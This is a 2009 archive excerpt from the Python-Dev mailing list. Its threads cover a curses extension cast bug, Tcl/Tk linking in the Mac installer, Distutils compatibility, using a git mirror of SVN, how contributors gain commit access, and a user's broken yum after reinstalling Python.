Diese E-Mail einschlie?lich s?mtlicher Anh?nge ist nur f?r den Adressaten bestimmt und kann vertrauliche Informationen enthalten. Bitte benachrichtigen Sie den Absender umgehend, falls Sie nicht der beabsichtigte Empf?nger sein sollten. Die E-Mail ist in diesem Fall zu l?schen und darf weder gelesen, weitergeleitet, ver?ffentlicht oder anderweitig benutzt werden.
E-Mails k?nnen durch Dritte gelesen werden und Viren sowie nichtautorisierte ?nderungen enthalten. Sator Laser GmbH ist f?r diese Folgen nicht verantwortlich.
**************************************************************************************


From steve at integrityintegrators.net  Thu Feb 26 15:22:43 2009
From: steve at integrityintegrators.net (Heracles)
Date: Thu, 26 Feb 2009 06:22:43 -0800 (PST)
Subject: [Python-Dev] String conversion issues implementing new curses
 module method addchstr, etc.
In-Reply-To: <200902261252.23274.eckhardt@satorlaser.com>
References: <22211983.post@talk.nabble.com>
	<200902261252.23274.eckhardt@satorlaser.com>
Message-ID: <22225142.post@talk.nabble.com>


Thank you, this is most helpful, and i will heed your advice about the cast.

Cheers!


Ulrich Eckhardt wrote:
> 
> On Wednesday 25 February 2009, Heracles wrote:
>> addchstr((chtype*)PyString_AsString(pS))
> 
> You are effectively disabling the well-deserved warnings with the cast
> here. 
> Don't do that.
> 
>> Now the thing is that when I make calls from python like so:
>>
>>    curses.addchstr(5,10, "@ < Row 5, Col 10")
> [...]
>> What prints out on the screen is gobledygook not the strings you would
>> expect below.
> [...]
>> Any thoughts on how to correctly convert the PyStringObject arguments to
>> chtype* pointers so that the ncurses library will be able to understand
>> them?
> 
> In this case, I suggest man ncurses:
> 
> | cchar_t
> |    corresponds to chtype.  However it is a structure, because more
> |    data is stored than can fit into an integer.  The characters are
> |    large enough to require a full  integer  value  -  and there may
> |    be more than one character per cell. The video attributes and
> |    color are stored in  separate fields of the structure.  
> 
> I'm pretty sure that you can find functions to generate such a string both 
> from a char-string (with whatever encoding) or a wchar_t-string (using 
> Unicode probably) in the curses library.
> 
> Uli
> 
> -- 
> Sator Laser GmbH
> Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932
> 
> **************************************************************************************
> Sator Laser GmbH, Fangdieckstra?e 75a, 22547 Hamburg, Deutschland
> Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932
> **************************************************************************************
>            Visit our website at <http://www.satorlaser.de/>
> **************************************************************************************
> Diese E-Mail einschlie?lich s?mtlicher Anh?nge ist nur f?r den Adressaten
> bestimmt und kann vertrauliche Informationen enthalten. Bitte
> benachrichtigen Sie den Absender umgehend, falls Sie nicht der
> beabsichtigte Empf?nger sein sollten. Die E-Mail ist in diesem Fall zu
> l?schen und darf weder gelesen, weitergeleitet, ver?ffentlicht oder
> anderweitig benutzt werden.
> E-Mails k?nnen durch Dritte gelesen werden und Viren sowie
> nichtautorisierte ?nderungen enthalten. Sator Laser GmbH ist f?r diese
> Folgen nicht verantwortlich.
> **************************************************************************************
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/lists%40nabble.com
> 
> 

-- 
View this message in context: http://www.nabble.com/String-conversion-issues-implementing-new-curses-module-method-addchstr%2C-etc.-tp22211983p22225142.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From steve at integrityintegrators.net  Thu Feb 26 15:27:13 2009
From: steve at integrityintegrators.net (Heracles)
Date: Thu, 26 Feb 2009 06:27:13 -0800 (PST)
Subject: [Python-Dev] String conversion issues implementing new curses
 module method addchstr, etc.
Message-ID: <22225142.post@talk.nabble.com>


Funny thing happens when you work in a managed language like .Net or Java for
too long.  You tend to expect that the language will catch any invalid casts
and prevent you from compiling the code.

Guess I need to spend more time doing C coding to get back in to it.

Thank you, this is most helpful, and i will heed your advice about the cast.

Cheers!


Ulrich Eckhardt wrote:
> 
> On Wednesday 25 February 2009, Heracles wrote:
>> addchstr((chtype*)PyString_AsString(pS))
> 
> You are effectively disabling the well-deserved warnings with the cast
> here. 
> Don't do that.
> 
>> Now the thing is that when I make calls from python like so:
>>
>>    curses.addchstr(5,10, "@ < Row 5, Col 10")
> [...]
>> What prints out on the screen is gobledygook not the strings you would
>> expect below.
> [...]
>> Any thoughts on how to correctly convert the PyStringObject arguments to
>> chtype* pointers so that the ncurses library will be able to understand
>> them?
> 
> In this case, I suggest man ncurses:
> 
> | cchar_t
> |    corresponds to chtype.  However it is a structure, because more
> |    data is stored than can fit into an integer.  The characters are
> |    large enough to require a full  integer  value  -  and there may
> |    be more than one character per cell. The video attributes and
> |    color are stored in  separate fields of the structure.  
> 
> I'm pretty sure that you can find functions to generate such a string both 
> from a char-string (with whatever encoding) or a wchar_t-string (using 
> Unicode probably) in the curses library.
> 
> Uli
> 
> -- 
> Sator Laser GmbH
> Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932
> 
> **************************************************************************************
> Sator Laser GmbH, Fangdieckstra?e 75a, 22547 Hamburg, Deutschland
> Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932
> **************************************************************************************
>            Visit our website at <http://www.satorlaser.de/>
> **************************************************************************************
> Diese E-Mail einschlie?lich s?mtlicher Anh?nge ist nur f?r den Adressaten
> bestimmt und kann vertrauliche Informationen enthalten. Bitte
> benachrichtigen Sie den Absender umgehend, falls Sie nicht der
> beabsichtigte Empf?nger sein sollten. Die E-Mail ist in diesem Fall zu
> l?schen und darf weder gelesen, weitergeleitet, ver?ffentlicht oder
> anderweitig benutzt werden.
> E-Mails k?nnen durch Dritte gelesen werden und Viren sowie
> nichtautorisierte ?nderungen enthalten. Sator Laser GmbH ist f?r diese
> Folgen nicht verantwortlich.
> **************************************************************************************
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/lists%40nabble.com
> 
> 

-- 
View this message in context: http://www.nabble.com/String-conversion-issues-implementing-new-curses-module-method-addchstr%2C-etc.-tp22211983p22225142.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From amk at amk.ca  Thu Feb 26 22:58:38 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Thu, 26 Feb 2009 16:58:38 -0500
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <edcd034f47e9b742b0a844a19bc95acd.squirrel@www.integrityintegrators.net>
References: <22191916.post@talk.nabble.com>
	<ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
	<22203899.post@talk.nabble.com>
	<20090225153417.GA9321@amk-desktop.matrixgroup.net>
	<edcd034f47e9b742b0a844a19bc95acd.squirrel@www.integrityintegrators.net>
Message-ID: <20090226215838.GA16478@amk-desktop.matrixgroup.net>

On Wed, Feb 25, 2009 at 01:52:29PM -0800, steve at integrityintegrators.net wrote:
> Are you up for helping a little more?

Sure, but please open an issue on http://bugs.python.org for this;
back-and-forth over a particular patch is done in the bug tracker, not
the python-dev mailing list.  http://www.python.org/dev/ discusses how
development is done.

We also don't send around modified
copies of entire files; http://www.python.org/dev/faq/#patches
discusses how to make patches.

--amk




From aahz at pythoncraft.com  Thu Feb 26 23:07:52 2009
From: aahz at pythoncraft.com (Aahz)
Date: Thu, 26 Feb 2009 14:07:52 -0800
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
References: <499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
	<Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
Message-ID: <20090226220752.GA18893@panix.com>

On Sat, Feb 21, 2009, rdmurray at bitdance.com wrote:
>
> Not that I'm expecting to be working on PEPs any time soon, but just as a
> different perspective, I would find the effort to open up Google docs to
> be a much higher barrier to doing some editing tweaks than the dvcs case.

For me, the big barrier to Google docs is the requirement to fire up a
GUI browser and log into Google.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From techtonik at gmail.com  Fri Feb 27 00:18:39 2009
From: techtonik at gmail.com (anatoly techtonik)
Date: Fri, 27 Feb 2009 01:18:39 +0200
Subject: [Python-Dev] Pybots link obsolete?
In-Reply-To: <loom.20090107T154714-693@post.gmane.org>
References: <loom.20090107T154714-693@post.gmane.org>
Message-ID: <d34314100902261518m55a0cd14m480fb38f0360bd6f@mail.gmail.com>

Still actual.

On Wed, Jan 7, 2009 at 5:54 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Hello,
>
> In http://www.python.org/dev/buildbot/, there's a link suggesting to visit the
> pybots Web site for more information. However, http://www.pybots.org/ just says
> "Nothing here #".
>
> Regards
>
> Antoine.
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/techtonik%40gmail.com
>



-- 
--anatoly t.

From nad at acm.org  Fri Feb 27 01:57:34 2009
From: nad at acm.org (Ned Deily)
Date: Thu, 26 Feb 2009 16:57:34 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<rowen-8731E0.13531325022009@news.gmane.org>
Message-ID: <nad-BE5DEE.16573426022009@news.gmane.org>

In article <rowen-8731E0.13531325022009 at news.gmane.org>,
 "Russell E. Owen" <rowen at u.washington.edu> wrote:
> I want to follow up on this a bit. In the past if the Mac Python 
> installer was built on a machine that did NOT have a locally installed 
> Tcl/Tk then it would fail to work with a locally installed Tcl/Tk: 
> Python would segfault when trying to use Tkinter.
> 
> The solution was to build the Mac python installer on a machine with a 
> locally installed Tcl/Tk. The resulting installer package would work on 
> all systems -- with or without locally installed Tcl/Tk.
> 
> So...has this problem been worked around, or is the Mac installer still 
> built on a machine that has a locally installed Tcl/Tk?

Ronald will have to answer that for sure since he built the installer 
for 3.0.1.

However, it seems to be true that the most recent python.org OS X 
installers will always favor a /System/Library/Frameworks/{Tcl/Tk}:

$ cd 
/Library/Frameworks/Python.framework/Versions/3.0/lib/python3.0/lib-dynlo
ad
$ otool -L _tkinter.so 
_tkinter.so:
   /System/Library/Frameworks/Tcl.framework/Versions/8.4/Tcl 
(compatibility version 8.4.0, current version 8.4.0)
   /System/Library/Frameworks/Tk.framework/Versions/8.4/Tk 
(compatibility version 8.4.0, current version 8.4.0)
   /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current 
version 88.3.10)

I'm certainly not a Tcl expert nor overly familiar with the history of 
this issue but here's what I see.  As a test, I installed the ActiveTcl 
8.4.19, which installs in /Library/Frameworks, and confirmed that a 
simple "import tkinter; root = tkinter.Tk()" for 3.0.1 does indeed use 
the Apple-supplied 8.4.7 Tcl.

Running similar tests and otool -L on _tkinter.so from the 2.6.1 and 
2.5.4 python.org installs gives similar results (both always use the 
Apple-supplied Tcl from /System/Library).  

However, the _tkinter.so from the 2.4.4 python.org installer is 
different:
$ cd 
/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/lib-dynlo
ad
$ otool -L _tkinter.so 
_tkinter.so:
   /Library/Frameworks/Tcl.framework/Versions/8.4/Tcl (compatibility 
version 8.4.0, current version 8.4.13)
   /Library/Frameworks/Tk.framework/Versions/8.4/Tk (compatibility 
version 8.4.0, current version 8.4.13)
   /usr/lib/libmx.A.dylib (compatibility version 1.0.0, current version 
47.1.0)
   /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current 
version 88.1.3)

and it does in fact use the /Library 8.4.19 ActiveTcl framework if 
installed and, as expected, reverts to the Apple-supplied 8.4.7 
/System/Library framework version if the ActiveTcl framework is removed.

So it looks like you recall correctly that at least some earlier 
installers were built on a machine with a locally installed Tcl/Tk.  It 
should be an easy matter to do that for future 10.4-10.5 installers so 
that newer 8.4 versions can be used.

Note, there was a Tcl/Tk problem with the initial 2.6 OS X installer 
(http://bugs.python.org/issue4017) but in that case the locally 
installed Tcl/Tk version was 8.5 and the fallback to a system-supplied 
8.4 doesn't work across versions.

> Most people who makes serious use of Tkinter presumably have a locally 
> installed Tcl/Tk because the version that Apple provides is ancient and 
> is missing many important bug fixes and performance enhancements.
> 
> Also, a somewhat related issue: Tcl/Tk 8.4 is no longer maintained. All 
> development work is going on in Tcl/Tk 8.5. Presumably Apple will 
> transition one of these days, and at that point we may need a separate 
> Mac Python installer for the older operating systems vs. the newer.

Yes, something will need to be done for that if Snow Leopard does have 
newer versions.

Thanks for bringing this up!

-- 
 Ned Deily,
 nad at acm.org


From ziade.tarek at gmail.com  Fri Feb 27 02:36:46 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Fri, 27 Feb 2009 02:36:46 +0100
Subject: [Python-Dev] Distutils in PEP 291
Message-ID: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com>

Hello,

If no one objects, I would like to:

- put Distutils back into PEP 291 for Python 2.3 compatibility
- fix the two issues that prevent the current trunk to run with Python
2.3 to 2.5 (see http://bugs.python.org/issue5052 and the patch I
worked on)

Regards
Tarek

-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/

From tseaver at palladion.com  Fri Feb 27 03:46:24 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Thu, 26 Feb 2009 21:46:24 -0500
Subject: [Python-Dev] Distutils in PEP 291
In-Reply-To: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com>
References: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com>
Message-ID: <49A75400.1060907@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Tarek Ziad? wrote:
> Hello,
> 
> If no one objects, I would like to:
> 
> - put Distutils back into PEP 291 for Python 2.3 compatibility
> - fix the two issues that prevent the current trunk to run with Python
> 2.3 to 2.5 (see http://bugs.python.org/issue5052 and the patch I
> worked on)

+1.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJp1QA+gerLs4ltQ4RAirAAJ99FomyrgYELjDITGBUtbmKtKlKOQCdHSjz
LsAgd1PFZFyvTgdaIMkw4/o=
=MKhZ
-----END PGP SIGNATURE-----

From tseaver at palladion.com  Fri Feb 27 03:46:24 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Thu, 26 Feb 2009 21:46:24 -0500
Subject: [Python-Dev] Distutils in PEP 291
In-Reply-To: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com>
References: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com>
Message-ID: <49A75400.1060907@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Tarek Ziad? wrote:
> Hello,
> 
> If no one objects, I would like to:
> 
> - put Distutils back into PEP 291 for Python 2.3 compatibility
> - fix the two issues that prevent the current trunk to run with Python
> 2.3 to 2.5 (see http://bugs.python.org/issue5052 and the patch I
> worked on)

+1.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJp1QA+gerLs4ltQ4RAirAAJ99FomyrgYELjDITGBUtbmKtKlKOQCdHSjz
LsAgd1PFZFyvTgdaIMkw4/o=
=MKhZ
-----END PGP SIGNATURE-----


From nas at arctrix.com  Fri Feb 27 06:21:16 2009
From: nas at arctrix.com (Neil Schemenauer)
Date: Thu, 26 Feb 2009 23:21:16 -0600
Subject: [Python-Dev] Instructions on using git mirror
Message-ID: <20090227052116.GA18994@arctrix.com>

I've revised my instructions on using the experimental git mirror of
the Python SVN repository:

http://python.ca/nas/tmp/git-notes.txt

Stories of success or failure welcome.

  Neil

From chris at simplistix.co.uk  Fri Feb 27 09:49:10 2009
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 27 Feb 2009 08:49:10 +0000
Subject: [Python-Dev] How do I get commit access?
Message-ID: <49A7A906.8000008@simplistix.co.uk>

Hi All,

I want to work on these issues:

http://bugs.python.org/issue1823
http://bugs.python.org/issue1874

...and I'd also like to commit the patch I submitted with this one:

http://bugs.python.org/issue1974

How do I go about getting commit access?

When I do, I take it I work against the version of python I care about 
and then foreward port to the trunk and any other maintenence branches 
necessary?

cheers,

Chris

-- 
Simplistix - Content Management, Zope & Python Consulting
            - http://www.simplistix.co.uk

From python at rcn.com  Fri Feb 27 10:04:35 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 27 Feb 2009 01:04:35 -0800
Subject: [Python-Dev] How do I get commit access?
References: <49A7A906.8000008@simplistix.co.uk>
Message-ID: <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>


[Chris Withers]
> I want to work on these issues:
> 
> http://bugs.python.org/issue1823
> http://bugs.python.org/issue1874
> 
> ...and I'd also like to commit the patch I submitted with this one:
> 
> http://bugs.python.org/issue1974

Barry usually takes ownership of changes to the email package.
Do you have patches ready for him to review?



Raymond

From chris at simplistix.co.uk  Fri Feb 27 10:08:28 2009
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 27 Feb 2009 09:08:28 +0000
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
References: <49A7A906.8000008@simplistix.co.uk>
	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
Message-ID: <49A7AD8C.5030209@simplistix.co.uk>

Raymond Hettinger wrote:
> 
> [Chris Withers]
>> I want to work on these issues:
>>
>> http://bugs.python.org/issue1823
>> http://bugs.python.org/issue1874
>>
>> ...and I'd also like to commit the patch I submitted with this one:
>>
>> http://bugs.python.org/issue1974
> 
> Barry usually takes ownership of changes to the email package.
> Do you have patches ready for him to review?

Not yet for 1974, but given that I submitted a patch for this issue:

http://bugs.python.org/issue4308

...some months ago, and nothing has happened with it, I want to get a 
bit more pro-active, hence the question in the subject line ;-)

cheers,

Chris

-- 
Simplistix - Content Management, Zope & Python Consulting
            - http://www.simplistix.co.uk

From python at rcn.com  Fri Feb 27 10:30:10 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 27 Feb 2009 01:30:10 -0800
Subject: [Python-Dev] How do I get commit access?
References: <49A7A906.8000008@simplistix.co.uk>
	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
	<49A7AD8C.5030209@simplistix.co.uk>
Message-ID: <A8EBDAFE66D843DBBAFFD2B942917A5D@RaymondLaptop1>


[Chris Withers]
>> Barry usually takes ownership of changes to the email package.
>> Do you have patches ready for him to review?
> 
> Not yet for 1974, but given that I submitted a patch for this issue:
> 
> http://bugs.python.org/issue4308
> 
> ...some months ago, and nothing has happened with it, I want to get a 
> bit more pro-active, hence the question in the subject line ;-)

Being proactive with that package probably means submitting
patches and waiting.  When there are active module maintainers,
other contributors (including committers) generally refrain from 
committing semantic changes and defer to the package owner
(effbot for ElementTree, Barry for email, Ippolito for json, 
Vinay for logging, Skip and Barry for csv, me for itertools and
collections,  Kurt for IDLE, etc).

The process can be maddenly slow (waiting for an owner to
have the time and inclination) but it has its advantages over
the long-term.


Raymond




From chris at simplistix.co.uk  Fri Feb 27 10:40:17 2009
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 27 Feb 2009 09:40:17 +0000
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <A8EBDAFE66D843DBBAFFD2B942917A5D@RaymondLaptop1>
References: <49A7A906.8000008@simplistix.co.uk>
	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
	<49A7AD8C.5030209@simplistix.co.uk>
	<A8EBDAFE66D843DBBAFFD2B942917A5D@RaymondLaptop1>
Message-ID: <49A7B501.4070508@simplistix.co.uk>

Raymond Hettinger wrote:
> 
> Being proactive with that package probably means submitting
> patches and waiting.  When there are active module maintainers,
> other contributors (including committers) generally refrain from 
> committing semantic changes and defer to the package owner
> (effbot for ElementTree, Barry for email, Ippolito for json, Vinay for 
> logging, Skip and Barry for csv, me for itertools and
> collections,  Kurt for IDLE, etc).

Right, so who looks after httplib?

> The process can be maddenly slow (waiting for an owner to
> have the time and inclination) but it has its advantages over
> the long-term.

Okay, I guess I should just bug Barry then?

But still, no answer to my original question...

Chris

-- 
Simplistix - Content Management, Zope & Python Consulting
            - http://www.simplistix.co.uk

From ncoghlan at gmail.com  Fri Feb 27 11:11:35 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 27 Feb 2009 20:11:35 +1000
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <49A7B501.4070508@simplistix.co.uk>
References: <49A7A906.8000008@simplistix.co.uk>	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>	<49A7AD8C.5030209@simplistix.co.uk>	<A8EBDAFE66D843DBBAFFD2B942917A5D@RaymondLaptop1>
	<49A7B501.4070508@simplistix.co.uk>
Message-ID: <49A7BC57.5010003@gmail.com>

Chris Withers wrote:
> But still, no answer to my original question...

Largely, by being patient and waiting :)

As to what you're actually waiting for - usually for an existing
developer to suggest granting you commit privileges. The exact reasons
an existing developer may suggest that are many and varied - a
significant history of accepted patches is certainly one way, as is a
long history contributing to python-dev. Assisting with triage and patch
reviews on the tracker is another good one.

There are occasional exceptions, such as when a new module is adopted
for the standard library and the developer is granted commit privileges
to support that module, or when a new maintainer steps forward for a
somewhat neglected area of the standard library.

Mainly though, it's a question of "Hurry up and wait!".

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From lists at cheimes.de  Fri Feb 27 11:13:52 2009
From: lists at cheimes.de (Christian Heimes)
Date: Fri, 27 Feb 2009 11:13:52 +0100
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <49A7B501.4070508@simplistix.co.uk>
References: <49A7A906.8000008@simplistix.co.uk>	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>	<49A7AD8C.5030209@simplistix.co.uk>	<A8EBDAFE66D843DBBAFFD2B942917A5D@RaymondLaptop1>
	<49A7B501.4070508@simplistix.co.uk>
Message-ID: <go8ed0$vnq$1@ger.gmane.org>

Chris Withers wrote:
> But still, no answer to my original question...

Hey Chris, long time no see!

Your question is covered by the developer FAQ
http://python.org/dev/faq/#how-can-i-become-a-developer. You can get
write privileges by providing a constant flow of good patches.
Eventually you get write access when multiple developers (or Guido
himself) think that you are ready for it. CPython has a stricter policy
than most other Python related projects.

Christian


From barry at python.org  Fri Feb 27 14:08:40 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 27 Feb 2009 08:08:40 -0500
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <49A7AD8C.5030209@simplistix.co.uk>
References: <49A7A906.8000008@simplistix.co.uk>
	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
	<49A7AD8C.5030209@simplistix.co.uk>
Message-ID: <064BBADB-B9EB-4545-A88C-A5C736FFD1D6@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 27, 2009, at 4:08 AM, Chris Withers wrote:

> Raymond Hettinger wrote:
>> [Chris Withers]
>>> I want to work on these issues:
>>>
>>> http://bugs.python.org/issue1823
>>> http://bugs.python.org/issue1874
>>>
>>> ...and I'd also like to commit the patch I submitted with this one:
>>>
>>> http://bugs.python.org/issue1974
>> Barry usually takes ownership of changes to the email package.
>> Do you have patches ready for him to review?
>
> Not yet for 1974, but given that I submitted a patch for this issue:
>
> http://bugs.python.org/issue4308
>
> ...some months ago, and nothing has happened with it, I want to get  
> a bit more pro-active, hence the question in the subject line ;-)

Chris, are you going to be at Pycon?  I'm sorry I haven't had time to  
review email package changes.  I will try to take a look this weekend,  
but if you're going to be at Pycon perhaps we can find some sprinting  
time?

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSafl2XEjvBPtnXfVAQLOBwP+IiQkBYkTiqgtLr+4q+0+5h4xrcCKwFNr
DcGzT6+AgAcLftSst2uPt98ajgPUoYSXt+irDkTBPJBlsv5snRqLh4UDk+GFJ0/O
zivfKGXa2sZ9G5pNDD0aN4YVr/MUILeqOyKWG0I7MAvALD4tMW+6+RMbb+PBFjFT
I3jT8ROseQ8=
=fxmA
-----END PGP SIGNATURE-----

From millbr02 at luther.edu  Fri Feb 27 15:36:08 2009
From: millbr02 at luther.edu (Brad Miller)
Date: Fri, 27 Feb 2009 08:36:08 -0600
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <20090227052116.GA18994@arctrix.com>
References: <20090227052116.GA18994@arctrix.com>
Message-ID: <e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>

when I get to the step git svn fetch  I get the following error:
zsh-% git svn fetch
Permission denied (publickey).
Network connection closed unexpectedly: Connection closed unexpectedly at
/opt/local/bin/git-svn line 1385


Is there a prerequisite that I get some kind of ssh key pair setup with the
svn repository?  I thought that was only for committers.

Brad

On Thu, Feb 26, 2009 at 11:21 PM, Neil Schemenauer <nas at arctrix.com> wrote:

> I've revised my instructions on using the experimental git mirror of
> the Python SVN repository:
>
> http://python.ca/nas/tmp/git-notes.txt
>
> Stories of success or failure welcome.
>
>  Neil
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/bmiller%40luther.edu
>



-- 
Brad Miller
Assistant Professor, Computer Science
Luther College
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090227/3becfe4c/attachment.htm>

From nas at arctrix.com  Fri Feb 27 16:48:17 2009
From: nas at arctrix.com (Neil Schemenauer)
Date: Fri, 27 Feb 2009 09:48:17 -0600
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
Message-ID: <20090227154817.GB24580@arctrix.com>

On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote:
> when I get to the step git svn fetch  I get the following error:
> zsh-% git svn fetch
> Permission denied (publickey).
> Network connection closed unexpectedly: Connection closed unexpectedly at
> /opt/local/bin/git-svn line 1385
> 
> 
> Is there a prerequisite that I get some kind of ssh key pair setup with the
> svn repository?  I thought that was only for committers.

Sorry, the instructions don't work for read-only access.  I've
updated them.  You need to use:

    git svn init http://svn.python.org/projects/python/trunk

for read-only access to SVN.

Regards,

  Neil

From shashidhar.velagandula at gmail.com  Fri Feb 27 17:07:47 2009
From: shashidhar.velagandula at gmail.com (shashidhar velagandula)
Date: Fri, 27 Feb 2009 21:37:47 +0530
Subject: [Python-Dev] Fwd: require python rpms for fc8
In-Reply-To: <8baedd360902270751g49fd24dei1a05b5509c2d153a@mail.gmail.com>
References: <mailman.3369.1235747325.11745.python-3000@python.org>
	<8baedd360902270751g49fd24dei1a05b5509c2d153a@mail.gmail.com>
Message-ID: <8baedd360902270807x567c6627wf292e60c76893c22@mail.gmail.com>

---------- Forwarded message ----------
From: shashidhar velagandula <shashidhar.velagandula at gmail.com>
Date: Fri, Feb 27, 2009 at 9:21 PM
Subject: Fwd: require python rpms for fc8
To: python-dev at python.org




---------- Forwarded message ----------
From: <python-3000-owner at python.org>
Date: Fri, Feb 27, 2009 at 8:38 PM
Subject: require python rpms for fc8
To: shashidhar.velagandula at gmail.com


This mailing list is closed now. Please use python-dev at python.org
instead.



---------- Forwarded message ----------
From: shashidhar velagandula <shashidhar.velagandula at gmail.com>
To: python-3000 at python.org
Date: Fri, 27 Feb 2009 20:38:43 +0530
Subject: require python rpms for fc8
HI ,


 2 or 3 different python versions are installed in my machine ( fc8 )  , I
have removed and reinstalled python-2.3.5 (tar archive only) for some
reasons , from that time onwards I was not able to use "yum " command , and
it is throwing an error as " problem importing one of the python modules "

bash-3.2# yum
There was a problem importing one of the Python modules
required to run yum. The error leading to this problem was:

   No module named yum

Please install a package which provides this module, or
verify that the module is installed correctly.

It's possible that the above module doesn't match the
current version of Python, which is:
2.3.5 (#1, Mar 20 2005, 15:45:23)
[GCC 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)]

If you cannot solve this problem yourself, please go to
the yum faq at:
  http://wiki.linux.duke.edu/YumFaq


bash-3.2# python -V
Python 2.3.5


--> I tried to install the python through source but of no use , whatever
the python version may be , it is showing same error ,
I didn't get any python rpms form the site http://python.org/... even I
tried to use rpmbuild using python tar files , but it is giving error ,
